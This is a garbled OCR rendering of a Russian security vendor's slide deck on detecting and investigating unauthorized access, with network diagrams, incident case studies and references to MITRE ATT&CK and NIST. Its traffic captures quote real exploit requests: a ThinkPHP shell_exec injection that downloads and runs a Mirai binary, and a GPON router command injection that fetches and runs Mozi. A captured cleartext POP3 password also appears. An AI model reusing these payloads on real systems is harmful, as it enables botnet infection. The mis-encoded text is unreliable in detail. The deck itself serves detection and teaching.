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CETb HAU3HAHKY. NPAKTUKA
ObHAPY)XEHWUA U PACCJIELOBAHUA
CIYYAEB HCJI.
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0 PASPABOTYKKE

m|rAPnA

TEXHOMONOrumwu

FAPIA TEXHOJIOMMU —
POCCUNCKNIN PA3PABOTYMUK CUCTEM
WHDOOPMALIMOHHOM BE30MNACHOCTH

Ea [APLA TEXHONOI N BXOONT
=

B UKC XOJNAUHI:

3kocucTemMa 13 bonee, yem 30 KkoMnaHuK
143,6% PocT Bbipyuku Ha koHell 2019 ropa
1.000 B2B knueHTOB OOsEe UeM

B 20 cTpaHax Mupa

6.000 BbicokoKBanuuUMPOBaHHbIX
CMeumnanncToB

rAPAOA

TEXHORNOTWUHKU

100+ ﬁ 0 ﬁ 180+
BreopeHuit Ha w BbICOKOKBaNMOMUMPOBAHHbIX
TeppuTopun Poccum COTPYAHWKOB

(O]
OnbIT pa3paboTku w 3anaTeHTOBaHHbIX
CYCTEM BbICOKOM TExXHOormn cobCTBEHHOr 0
CITOKHOCTU MCCIEeNoBaTENbCKOrO LIEHTPa

NOJTHOCTbIO POCCUNCKUE PELLEEHUSA

* CobcTBeHHana TexHosorueckast natgpopma
ONA XpaHeHusa MHdhopMaumn He TpebyeT CTOPOHHWX MULIEH3NI.

* Pelwenna ceptudomumpoarsl GCTIK.
* BkrlioyeHbl B peecTp 0TeYeCTBEHHOMO NMPOrpaMMHOro obecneyeHms.



HCL. OMPEAEJIEHUE © LATan

HC/ - poctyn K MHpopmaumn, HapyLLaoLWMNn NpaBuaa pa3rpaHMyeHns
[OCTyNa C UCNONb30BAHMEM LUTATHbLIX CPEACTB, NPeA0CTaBAAEMbIX
CpeACcTBaMM BbIYNCINTENIbHOM TEXHUKN U aBTOMATU3MPOBAHHbIMM

CUCteMaMu.

OTKyAa 3To onpeaeneHue (AOKYMEHT oTeYeCTBEHHOro peryastopa)?

e CKonbKo pa3 «HCA» BcTpeyaeTca B npukase ®PCTIK 17 nam 217



HCA. MPUYUHDI LATan

HC/, - pocTyn K MHPOPMaLMKM, HAPYLIAOWMIK NpaBuaa pa3rpaHnUYeHna 4octyna c
MCNONb30BaHMEM LUTATHbIX CPEeACTB, NPeaoCTaBAAEMbIX CPeACTBAMMU BbIYMCAUTENBHON
TEXHUKN UM aBTOMATU3NPOBAHHbIMKU cuctemamu. (P 3awmta ot HC. TepMuHbI n
onpeaenenus. MK, 1992 r.).

Unauthorized access — nonb3oBaTtenb Noay4YaeT IOTMYECKUN UK pU3nYeckmin goctyn bes
baKTUYECKUX NPaB K CETU, CUCTEME, MPUNIOKEHUIO, AaHHbIM Uan pecypcy. (NIST SP 800-82)

* HeBepHO HaCcTpOeHa CUCTeMa KOHTPOA A0CTYNa, NP 3TOM pPa3MbITa
OTBETCTBEHHOCTb

*  OWnBKM HaCTPOMKM aBTOPM3aLMM, CNabOCTb NAPONbHOM NONUTUKM

* HecobntogeHne ycTaHOBAEHHbIX NPaBWA, NOAUTUK

* He obHoBAeHHoe MO

* [lpeBblweHME NONHOMOUYNM

*  Bwupychbl, TpOAHbI, WNUoHcKoe N0

* KomnpomeTtauma, nepexsaT KaHANOB CBA3MU

* PuwunHr



HCIL 1 C3W HC]L e noree

Cnocobbl coBepwieHua HCA:

1. HenocpeacTBEHHO HAa YCTPOWUCTBE NETMTUMHOIO NOJIb30BATENA
2. [logkntoyeHue K ceT KoOMNaHum

3. ATaKa u3BHe

Poccuitckue ocobeHHoctn npoaykros C3U ot HCA.:

°  naeHTMPMKauma n ayTeHTUPUKaLuma nonb3oBaTeNen;

*  AUCKPELMOHHbIA KOHTPO/Ib A0CTYMNA NONb30BaTeNen;

°  MaHAATHbIN KOHTPO/Ib A0CTYMNA NONb30BaTeNEN N NPOLECCOB;
°  MaApPKUPOBKa AOKYMEHTOB U KOHTPO/Ib UX BbIBOAA HA NeYaTb;
°  3alUMTa BBOAA M BbIBOAA MHPOPMALIUM HA HOCUTEND;

°  peructpaumna cobbiTnii 6€30nacHOCTU B XKypPHase cobbITUN;

°  KOHTPO/Ib LLENOCTHOCTU KPUTUUHbBIX PanNIOB U AaHHbIX;

° KOHTPO/JIb A0CTYNa K NnepudpepuimHbiM YyCTPOMCTBAM U NOPTaMm;
°  rapaHTMPOBAHHOE yaasieHMe AaHHbIX




CIl MOXET «CKPbIBATbCS>» HA JT0B0
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PA3MbITUE NEPUMETPA

Tenepb K NepuMeTpy KOMMaHum
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TEXHORNOTWUHKU

AR BbI JIAAMT CETb KOMIAHWN raPaA
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Overall Network Diagram

u coNt u con

L] v —
= - - s

l—— ¥ * —
Office office (@,
Swi w2

AKO

Office [t S E2 office
Fwi < " w2

TACACS-01

oMz

Cable

Wireless

TACACS2

rAPOA

TEXHORNOTWUHKU



4YTO0 HA CAMOM JIEJIE NPOUCXORWT B CETK LATan
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Cno)xHocTu npu paccnepoBaHum
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HCI YEPE3 VPN, KO [1A JIEFANIbHO - 110 RDP

* aHA/I3MpPYyeEM Bce
NOAKNIOYEHUSA K pabounm o
MK yepe3 mexaHM3IMm ] o
noaKNto4YeHnA K o gurnrp + | | Copmem. | Owenin 0O
yaaneHHomy pabouemy
ctony (RDP) u Bce s~ |
nogkntovyeHmna yepes VPN

e feTeKTupyem dakKTbl
HEeNerMTMMHOro R
NOAKNOYEHMSA K cepBepam . i |
U3 BHYTPEHHEN ceTy, ' @
munHyAa RDP, B8 o6xoa Nb-
NOINTUK



HCA YEPE3 Y[106CTBO LATan

e OBHapYXWNIN NCNONb30BaHUE
P npoTokosia HTTP Ha
- Hoewlil punbTp ~ copaur ovcmucospenoias - | @D Pocugesssi | oweomn HECTAHOAPTHOM MOPTY

protocol=HTTP non_standard_port x 09.09.2016 00:00:00 - 15.09.2016 23:39:39 = Q

Ortobpaxero 1-50 ua 1170 pesyneTatoe  3xcriopposats

* BbISCHM/IOCb, YTO Ha cepBepe
S T e KOMMaHUN COTPYAHUK ANA

NN HTTP 192.168.21.116 49706 192.168.21.107 09200 14KB 15.09.2016 11:35:18

e . wae e yaobcTBa A40CTYyNa YCTaHOBUA
NN HTTP 192.168.21.116 49706 192.15821. 5 KB 15.09.2016 11:35:18
NN HTTP 192 168.21.116 49706 192.168.21.107 09200 14 KB 15.09.2016 11:35:18 Open Source npoplyKT

* Default HacTponku

20O PDPDPOOB®O ¢

* KTO-TO y)Xe «NOoCTy4yancar»




BPEJIOHOCHbIM HCA

TeNs MpoTokon Cofepwanie

5.33.52 TCP 46466 = 3000 [SYN] Seq=0 Win=14600 0 MS:

5.33.52 TCP

[TCP Qut-Of-Order] 46

90.216 TCP 8090 = 46466 [SYN, ACK] Seq=0 Ack=1 Win=

Len=0 M85=1460

= 8090 [SYN] Seq=0 Win=1460

TSval=2186290756 TSecr=0 W5=128

00 Len=0 MSS=1460 TSval=2136290756 TSecr=0 WS=123

8192 Len=0 MS55=1460 WS=256 TSval=1726294711 TSecr=2186290756

00.216 TCP [TCP Qui-Of-Order] 8090 = 46465 [SYN, ACK] Seg=0 Ack=1 Win=3192 Len=0 M55=1460 W5=256 TSval=1726294711 TSecr=2186290756

00218 TCP [TCP Qut-Of-Order] 8090 = 46466 [SYN, ACK] Seq=0 Ack=1Win=28192 Len=0 M55=1460 W5=256 TSval=1726294711 TSecr=2136290756

00.218 TCP [TCP Qut-Of-Order] 8090 = 46466 [SYN, ACK] Seq=0 Ack=1Win=8192 Len=0 M55=1460 W5=256 TSval=1726294711 TSecr=2136290756

49357 HTTP ﬂTtITOZ'& unction=call_user_func_array&vars(0]=shell_exec&vars{1 1 -{alit S RIS
M Wireshark - Cheaoats HTTP Morok (tcp.stream eq 0) - attack] Btol 2-ThinkPHP.pcap - O X

GET /index.php?s=/index/
thonkphp ; ./thonkphp ThinkPHP ;
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /

User-Agent: Uirusu/2.8

rm -rf thinkphp' HTTP/1.1

HTTP/1.1 488 Bad Request

Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.8

Date: Mon, 14 Oct 2819 18:41:38 GMT
Connection: close

Content-Length: 311

hink.pp/invokefunction&function=call user func_array@vars[@]=shell exec@qvars[1][]="wget http:/

249.13 /bins/x86 -0 thonkphp ; chmod 777

rAPAOA

TEXHORNOTWUHKU

* moamnduKauma mirai boTHera:
TROJAN ELF/Mirai Variant UA
Inbound (Tsunami)).

* 3arpy3Ka ¢panna c yganeHHoro
xocta 185.112.*%.* n ero 3anyck
Ha KOHEYHOMN cucTeMe

1

(1) 30 engines detected this file

85bafcebf3cclb651b54e18e524a0bt3dcTcca3fdacadst
sora. x36

elf

DETECTION DETAILS BEHAVIOR communiTY @

Ad-Aware (1) Trojan Linux Generic 86139



HCII K OOULIMATILHOMY CAMTY/NOPTAINY

poTokon TCP » HTTP

HTTP xocT. HeT AaHHbIX

POST /GponForm/diag_Form2images/ HTTP/1.1
Pa3M Host .1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
POA Accept: */*
User-Agent: Hello, World
Content-Length: 118

Pon
XWebPageName=diaghdiag_action=ping8wan_conlist=8&dest_host=""jwget+http:,
Moprt Centent-Type: text/html; charset=UTF-3
Location: http://factoring.metallinvestbank.ru
server: Microsoft-IIS/8.5
MAC x-Powered-By: ASP.NET
Date: Sun, 13 Oct 2819 19:42:21 GMT
__ Content-Length: 227

L.1:8888/Mozi. m+-0+->/tmp/gponBa; sh+HTTP/1.1 382 Redirect

(i G El A= o scco0s000050000 cooocosancozanog

Komn €body><hl>. . iuuianis sanasaiiiiiii </h1
+ Bad Request

Content-Type: text/html; charset=us-ascii

Server: Microsoft-HTTPAPI/2.@

Date: Sun, 13 Oct 2819 19:42:21 GMT

Connection: close

Content-Length: 326

< /body>HTTP/1.1 488

<IDOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.@1/,
<HTML><HEAD><TITLE>Bad Request</TITLE>

<META HTTP-EQUIV="Content-Type" Content="text
<BODY><h2>Bad Request - Invalid Verb</h2>
<hr><p>HTTP Error 4@@. The request verb is im
</BODY></HTML>

rAPAOA

TEXHORNOIWMHK

310YMbILLINEHHUKN HEPEAKO
NbITAlOTCA NPOBECTU aTaKy Ha
opuUMaNbHbIN NYOANYHBIN CaUT
(nnn nopTan, NNYHbIN KABUHET)

Heobxoanmo B onepaTuBHO
obHapyXunBaTb NpUMeEHeHue
3KCN/IOMUTOB ANA web un
BbINO/IHEHME aTaK Ha
KOPNOPaTUBHbIE CalTbl
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NOTEHLUAI 1A NOCNERYIOLLLETO HCA

0.000000 . pop3 > 58952 [ACK] Seq=17 Ack=7 Win=29312 Len=0
0.000000 - S +0K
7 0.000000 129 1057 10.50 POP c user i@ nu
8 0.000000 109 10,50, 1057 POP S 40K
9 0.000000 116 1057 10.50 POP C: PASS sveta
10 0.000000 120 1050, 1057 POP S +OKLogged in
0.000000 60 '5.117 1.2 TCP [TCP Dup ACK 5#1] 23545 > http [ACK] Seq=1 Ack=1 Win=8190 Len=0
0000000 1132 75117 174 9 uTToD DNAQCT laanlanidnIBabaninfaNAarsrnne ALAR—ONAOARNA ROTA AANK OVAA ADAEATONIOIN LITTDI4 4 fannliaatinnfican)

= = POST /ssoloauth2/tokeninf§?access_token\=32d8a600-6374-4d9b-82d4-43¢507923820

0.000000 60 171.2 5.117 TCP http > 23545 [ACK] Seq=1 Ack=1079 Win=16170 Len=0




CA B CTAHIAPTAX U NPAKTUKAX

MITRE | ATT&CK'

rAPOA

TEXHORNOTWUHKU

Techniques: 9

Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against

Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against

Techniques
D Name Description
T1210 Exploitation of ~ Adversaries may exploit remote services to gain ynauthiorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary
Remote takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-
Services compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Enterprise = T1565 Data Manipulation
unautherized access and tampering.
003 Runtime Data Manipulation
unauthorized access and tampering.
The NIST

anods™

Cybersecurity
Framework

Maintenance (PR.MA): Maintenance and repairs
of industrial control and information system

PR.MA-1: Maintenance and repair ot organizational
assets is performed and logged in a timely manner,
with approved and controlled tools

PROTECT (PR)

components is performed consistent with policies
and procedures.

PR.MA-2: Remote maintenance of organizational
assets is approved, logged, and performed ina
manner that prevents unauthorized access

DETECT (DE)

Security Continuous Monitoring (DE.CM): The
information system and assets are monitored at
discrete intervals to identify cybersecurity events
and verify the effectiveness of protective measures.

DE.CM-1: The network is monitored to detect
potential cybersecurity events

DE.CM-2: The physical environment is monitored
to detect potential cybersecurity events

DE.CM-3: Personnel activity is monitored to detect
potential cybersecurity events

DE.CM-4: Malicious code is detected

DE.CM-5: Unauthorized mobile code is detected

DE.CM-6: External service provider activity is
monitored to detect potential cybersecurity events

DE.CM-7: Monitoring for unauthorized personnel,
connections, devices, and software is performed

DE.CM-8: Vulnerability scans are performed




TPEH]IbI BYAYLLIEFO U HCAL

Hype Cycle for Emerging
Technologies, 2020

Expectations

Peak of
Innovation Inflated Trough of Slope of Plateau of
Trigoer Expectations  Disillusionment Enlightanmeant Praductivity
Time
Flat | ba reachid:
lass than 2 years @ 3 to5vaars @ 500 years ik moee thar 10 years () chsalata betore plateau A5 of uly 2030

Boroe: Banmne
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MacnopTa 340poBbA,
BYOI n noBepeHHOe NpoucxoXxaeHue
Anndenku, «<HagieXxHble» PpeuTUHIU

Iun3aiH ¢ nomowbio U mn
oTBeTCTBeHHbIn NN
npoTuBocTosiHMe mexxay UA

Hewesble BbluUcneHUA Ha endpoint u
$habpukun gaHHbIX
MoOXXeTe U He y3HaTb npo HC/

YacTHbIN 5G
Bo3pacTaerT yw,ep6 ot HCAl

Be3sonacHbI AOCTYN KaK cepBuUC,
Kak passutue BYOD u Zero Trust
MaccoBbI U HeoTAnYuMbIn HC1
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NTA - [10JIHAAl TPO3PAYHOCTb CETH
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AHAJTNG J10T OB — SIEM

BuaeTb ceTb B KPYMHOW KOMMNaHWN, KOraa HelocTaTouHo endpoint

3almTa 0T adMUHUCTPATOPOB
Korpa aHTuMBMpYC — 310 yxke nosaHo, a FW — nponycTun yrposy

HesameHuM B paccriedoBaHnAX 1 Npn OOKa3bIBaHNN

[ToBENEHYECKMIA aHanN3 NO COBOKYMHOCTM (DaKTOPOB NETWORK —_—

AHAJTIN3 CETEBOI'O AHAIN3 AKTVBHOCTEM
A+ TEXHOMOMN 1 BCE B OIHOM OKHE TPAD®DOUKA — NTA HA KOHEYHBIX TOYKAX - EDR
MHOro HecTaHoapTHbLIX, MOBUIIBbHBIX UK |0T YCTPOMCTB



KAK bOPOTbCAl C HCA Bidgats

OMPEQOENNTb AKTYAJIbHbLIE CMOCOBbI HCL

OTTAJIKUBATbCA OT HOPMATUBKWU/FRAMEWORK

CAOENATb HCA HEYAOBHbIM, OBYYUTb NNIOOEN

KOHTPOJIMPOBATbDb - BCE, 3AMNPELLATb - BbIbOPO4YHO
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